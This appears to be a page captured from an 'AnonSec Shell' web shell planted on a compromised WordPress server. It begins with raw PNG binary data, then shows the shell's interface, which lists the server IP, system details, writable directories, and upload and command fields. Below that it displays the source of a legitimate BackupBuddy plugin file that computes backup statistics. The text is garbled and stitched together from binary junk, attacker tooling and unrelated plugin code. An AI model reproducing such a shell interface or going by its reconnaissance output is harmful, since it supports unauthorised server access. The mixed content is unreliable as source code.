‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/destinations/live/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/destinations/live/_stats.php
<?php
/* BackupBuddy Stash Live Periodic Class
 *
 * @author Dustin Bolton
 * @since 7.0
 *
 * NOTE: Incoming vars: $destination, $destination_id, $state
 */


// Reload.
$destination = pb_backupbuddy::$options['remote_destinations'][$destination_id];

// Get WP schedules.
$schedule_intervals = wp_get_schedules();

$stats = array(
	'data_version' => 2,
	'current_time' => microtime( true ),
	'current_function' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'current_function_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'live_username' => $destination['itxapi_username'],
	'last_function_status_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'error_alert' => '', // Only has a non-empty value if last_status in state contains the word "error" (not case sensitive).
	'continuous_status' => '-1',
	'continuous_status_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'overall_percent' => '-1',
	'files_to_catalog_percentage'  => '0',
	
	'periodic_status' => '-1',
	'periodic_status_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'periodic_interval' => '-1',
	'periodic_interval_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	
	'database_size_bytes' => '-1',
	'database_size_pretty' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'database_tables_total' => '-1',
	'database_tables_pending_delete' => '-1',
	'database_tables_sent' => '-1',
	'database_tables_pending_send' => '-1',
	'database_tables_sent_percent' => '-1',
	
	'files_size_bytes' => '-1',
	'files_size_pretty' => 'Unknown',
	'files_total' => '-1',
	'files_sent' => '-1',
	'files_sent_percent' => '-1',
	'files_pending_delete' => '-1',
	
	'last_remote_snapshot_id' => '-1',
	'last_remote_snapshot' => '-1',
	'last_remote_snapshot_pretty' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'last_remote_snapshot_ago' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'last_remote_snapshot_response' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'last_remote_snapshot_response_time' => '-1',
	'last_remote_snapshot_trigger' => '',
	'last_db_snapshot' => '-1',
	'last_db_snapshot_pretty' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'last_db_snapshot_ago' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	
	'last_database_live_activity' => '-1',
	'last_database_live_activity_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'last_database_live_activity_ago' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	
	'last_periodic_activity' => '-1',
	'last_periodic_activity_pretty' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'last_periodic_activity_ago' => __( 'Pending...', 'it-l10n-backupbuddy' ),
	'last_file_audit_start' => '-1',
	'last_file_audit_finish' => '-1',
	
	'next_db_snapshot' => '-1',
	'next_db_snapshot_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'next_periodic_restart' => '-1',
	'next_periodic_restart_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'next_remote_snapshot' => '-1',
	'next_remote_snapshot_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	
	'remote_snapshot_interval' => '-1',
	'remote_snapshot_interval_pretty' => __( 'Unknown', 'it-l10n-backupbuddy' ),
	'first_completion' => '-1',
	'first_completion_pretty' =>  __( 'Pending...', 'it-l10n-backupbuddy' ),
	'daily_stats' => array(),
);


// Continuous Status.
if ( '1' == $destination['pause_continuous'] ) {
	$stats['continuous_status'] = '0';
	$stats['continuous_status_pretty'] = __( 'Paused', 'it-l10n-backupbuddy' );
} else {
	$stats['continuous_status'] = '1';
	$stats['continuous_status_pretty'] = __( 'Enabled', 'it-l10n-backupbuddy' );
}


// Periodic status.
if ( '1' == $destination['pause_periodic'] ) {
	$stats['periodic_status'] = '0';
	$stats['periodic_status_pretty'] = __( 'Paused', 'it-l10n-backupbuddy' );
} else {
	$stats['periodic_status'] = '1';
	$stats['periodic_status_pretty'] = __( 'Enabled', 'it-l10n-backupbuddy' );
}


// Last function status.
if ( '' != $state['step']['last_status'] ) {
	$stats['last_function_status_pretty'] = str_replace( "'", '', $state['step']['last_status'] );
}
if ( ( '' != $state['step']['last_status'] ) && ( FALSE !== stristr( $state['step']['last_status'], 'Error' ) ) ) {
	$stats['error_alert'] = str_replace( "'", '', $state['step']['last_status'] );
}


// Database size.
if ( 0 == $state['stats']['tables_total_size'] ) {
	$stats['database_size_pretty'] = __( 'Calculating size...', 'it-l10n-backupbuddy' );
} else {
	$stats['database_size_bytes'] = $state['stats']['tables_total_size'];
	$stats['database_size_pretty'] = pb_backupbuddy::$format->file_size( $state['stats']['tables_total_size'] );
}


// Calculate tables pending deletion.
$stats['database_tables_pending_delete'] = $state['stats']['tables_pending_delete'];


// Database tables sent.
$stats['database_tables_sent'] = ( $state['stats']['tables_total_count'] - $state['stats']['tables_pending_send'] );
$stats['database_tables_pending_send'] = $state['stats']['tables_pending_send'];


// Database tables total.
$stats['database_tables_total'] = $state['stats']['tables_total_count'];


// DB Live activity.
$db_live_activity_time = backupbuddy_live::get_db_live_activity_time();
if ( $db_live_activity_time < $state['stats']['last_db_snapshot'] ) {
	$db_live_activity_time = $state['stats']['last_db_snapshot'];
}
if ( -1 != $db_live_activity_time ) {
	$stats['last_database_live_activity'] = $db_live_activity_time;
	$stats['last_database_live_activity_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $db_live_activity_time ) );
	$stats['last_database_live_activity_ago'] = pb_backupbuddy::$format->time_ago( $db_live_activity_time ) . ' ' . __( 'ago', 'it-l10n-backupbuddy' );
}


// Tables percent sent (by count).
if ( $state['stats']['tables_total_count'] > 0 ) {
	$stats['database_tables_sent_percent'] = ceil( ( $stats['database_tables_sent'] / $state['stats']['tables_total_count'] ) * 100 );
	if ( ( 100 == $stats['database_tables_sent_percent'] ) && ( $stats['database_tables_sent'] < $state['stats']['tables_total_count'] ) ) { // If we were to display 100% sent but files still remain, convert to 99.9% to help indicate the gap.
		$stats['database_tables_sent_percent'] = 99.9;
	}
} else {
	$stats['database_tables_sent_percent'] = 0;
}


// Files total size.
if ( 0 == $state['stats']['files_total_size'] ) {
	$stats['files_size_pretty'] = 'Calculating size...';
	if ( ! empty( $state['stats']['files_to_catalog_percentage'] ) ) {
		$stats['files_size_pretty'] .= ' ' . $state['stats']['files_to_catalog_percentage'] . '%';
	}
} else {
	$stats['files_size_bytes'] = $state['stats']['files_total_size'];
	$stats['files_size_pretty'] = pb_backupbuddy::$format->file_size( $state['stats']['files_total_size'] );
}


// Files sent.
$stats['files_total'] = $state['stats']['files_total_count'];
$stats['files_sent'] = ( $state['stats']['files_total_count'] - $state['stats']['files_pending_send'] );


// Files percent sent (by count).
if ( $state['stats']['files_total_count'] > 0 ) {
	$stats['files_sent_percent'] = ceil( ( $stats['files_sent'] / $state['stats']['files_total_count'] ) * 100 );
	if ( ( 100 == $stats['files_sent_percent'] ) && ( $stats['files_sent'] < $state['stats']['files_total_count'] ) ) { // If we were to display 100% sent but files still remain, convert to 99.9% to help indicate the gap.
		$stats['files_sent_percent'] = 99.9;
	}
} else {
	$stats['files_sent_percent'] = 0;
}
$stats['overall_percent'] = round( ( $stats['files_sent_percent'] + $stats['database_tables_sent_percent'] ) / 2, 1 );


// Calculate files pending deletion.
$stats['files_pending_delete'] = $state['stats']['files_pending_delete'];


// Last periodic activity.
$stats['last_periodic_activity'] = $state['stats']['last_activity'];
if ( 0 != $state['stats']['last_activity'] ) {
	$stats['last_periodic_activity_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $state['stats']['last_activity'] ) );
	$stats['last_periodic_activity_ago'] =  pb_backupbuddy::$format->time_ago( $state['stats']['last_activity'] ) . ' ' . __( 'ago', 'it-l10n-backupbuddy' );
}


// Last file audit.
$stats['last_file_audit_start'] = $state['stats']['last_file_audit_start'];
$stats['last_file_audit_finish'] = $state['stats']['last_file_audit_finish'];


// Last db snapshot.
$stats['last_db_snapshot'] = $state['stats']['last_db_snapshot'];
if ( 0 != $state['stats']['last_db_snapshot'] ) {
	$stats['last_db_snapshot_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $state['stats']['last_db_snapshot'] ) );
	$stats['last_db_snapshot_ago'] = pb_backupbuddy::$format->time_ago( $state['stats']['last_db_snapshot'] ) . ' ' . __( 'ago', 'it-l10n-backupbuddy' );
}


// Last remote snapshot.
$stats['last_remote_snapshot_id'] = $state['stats']['last_remote_snapshot_id'];
$stats['last_remote_snapshot'] = $state['stats']['last_remote_snapshot'];
if ( 0 != $state['stats']['last_remote_snapshot'] ) {
	$stats['last_remote_snapshot_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $state['stats']['last_remote_snapshot'] ) );
	$stats['last_remote_snapshot_ago'] = pb_backupbuddy::$format->time_ago( $state['stats']['last_remote_snapshot'] ) . ' ' . __( 'ago', 'it-l10n-backupbuddy' );
}
$stats['last_remote_snapshot_trigger'] = $state['stats']['last_remote_snapshot_trigger'];
$stats['last_remote_snapshot_response'] = $state['stats']['last_remote_snapshot_response'];
$stats['last_remote_snapshot_response_time'] = $state['stats']['last_remote_snapshot_response_time'];


// Remote snapshot interval.
if ( isset( $schedule_intervals[ $destination['remote_snapshot_period'] ] ) ) {
	$stats['remote_snapshot_interval'] = $schedule_intervals[ $destination['remote_snapshot_period'] ]['interval'];
	$stats['remote_snapshot_interval_pretty'] = $schedule_intervals[ $destination['remote_snapshot_period'] ]['display'];
}


// Current function.
$stats['current_function'] = $state['step']['function'];
$stats['current_function_pretty'] = backupbuddy_live::pretty_function( $state['step']['function'] );
if ( 'database_snapshot' == $state['step']['function'] ) { // For db dump include current table count.
	if ( count( $state['step']['args'] ) > 0 ) {
		$total_tables = count( $state['step']['args'][0] );
		$remaining_tables = count( $state['step']['args'][1] );
		$sent_tables = $total_tables - $remaining_tables;
		$stats['current_function_pretty'] .= ' (' . $sent_tables . ' / ' .$total_tables . ' ' . __( 'tables', 'it-l10n-backupbuddy' ) . ')';
	}
}


// Periodic interval.
if ( isset( $schedule_intervals[ $destination['periodic_process_period'] ] ) ) {
	$stats['periodic_interval'] = $schedule_intervals[ $destination['periodic_process_period'] ]['interval'];
	$stats['periodic_interval_pretty'] = $schedule_intervals[ $destination['periodic_process_period'] ]['display'];
	
	$next_periodic = $state['stats']['last_activity'] + $stats['periodic_interval']; // Periodic won't run until at LEAST this timestamp.
	$next_remote_snapshot = $state['stats']['last_remote_snapshot'] + $stats['remote_snapshot_interval']; // Remote snapshot won't run until at LEAST this timestamp.
	
	if ( FALSE !== ( $next_live_scheduled = wp_next_scheduled( 'backupbuddy_cron', array( 'live', array() ) ) ) ) { // Live is scheduled.
		
		// Calculate approx time schedule will run that will be long enough into the future to trigger periodic.
		$next_live_periodic = $next_live_scheduled;
		while ( $next_live_periodic < $next_periodic ) {
			$next_live_periodic += 60*60;; // Keep increasing the schedule by 1hr until it surpasses the minimum periodic time run timestamp.
		}
		
		$stats['next_db_snapshot'] = $next_live_periodic;
		$stats['next_db_snapshot_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $next_live_periodic ) );
		$stats['next_periodic_restart'] = $next_live_periodic;
		$stats['next_periodic_restart_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $next_live_periodic ) );
		
		// Calculate approx time schedule will run that will be long enough into the future to trigger snapshot.
		$next_live_snapshot = $next_live_scheduled;
		while ( $next_live_snapshot < $next_remote_snapshot ) {
			$next_live_snapshot += 60*60; // Keep increasing the schedule by the live cron interval until it surpasses the minimum periodic time run timestamp.
		}
		
		$stats['next_remote_snapshot'] = $next_live_snapshot;
		$stats['next_remote_snapshot_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $next_live_snapshot ) );
	}
	
	// If periodic looks to be running now, say so.
	$last_activity_ago = microtime( true ) - $state['stats']['last_activity'];
	if ( $last_activity_ago < ( backupbuddy_core::adjustedMaxExecutionTime() + 60 ) ) {
		$stats['next_periodic_restart'] = '-1';
		$stats['next_periodic_restart_pretty'] = __( 'In Progress...', 'it-l10n-backupbuddy' );
	}
	
	// If db process running, say so.
	if ( ( 'database_snapshot' == $state['step']['function'] ) || ( 'send_pending_db_snapshots' == $state['step']['function'] ) || ( 'process_table_deletions' == $state['step']['function'] ) ) {
		$stats['next_db_snapshot'] = '-1';
		$stats['next_db_snapshot_pretty'] = __( 'In Progress...', 'it-l10n-backupbuddy' );
	}
}


// First completion.
$stats['first_completion'] = $state['stats']['first_completion'];
if ( 0 != $stats['first_completion'] ) {
	$stats['first_completion_pretty'] = pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( $state['stats']['first_completion'] ) );
	$stats['first_completion_ago'] = pb_backupbuddy::$format->time_ago( $state['stats']['first_completion'] );
}



// Get daily stats.
$stats['daily_stats'] = $state['stats']['daily'];


// Include Stash stats. Note that these are cached.
$stats['stash'] = backupbuddy_live::getStashQuota( $bust_cache = false );



require_once( pb_backupbuddy::plugin_path() . '/destinations/live/live_periodic.php' );
$dailyStatsRef = backupbuddy_live_periodic::_get_daily_stats_ref();


Anon7 - 2022
AnonSec Team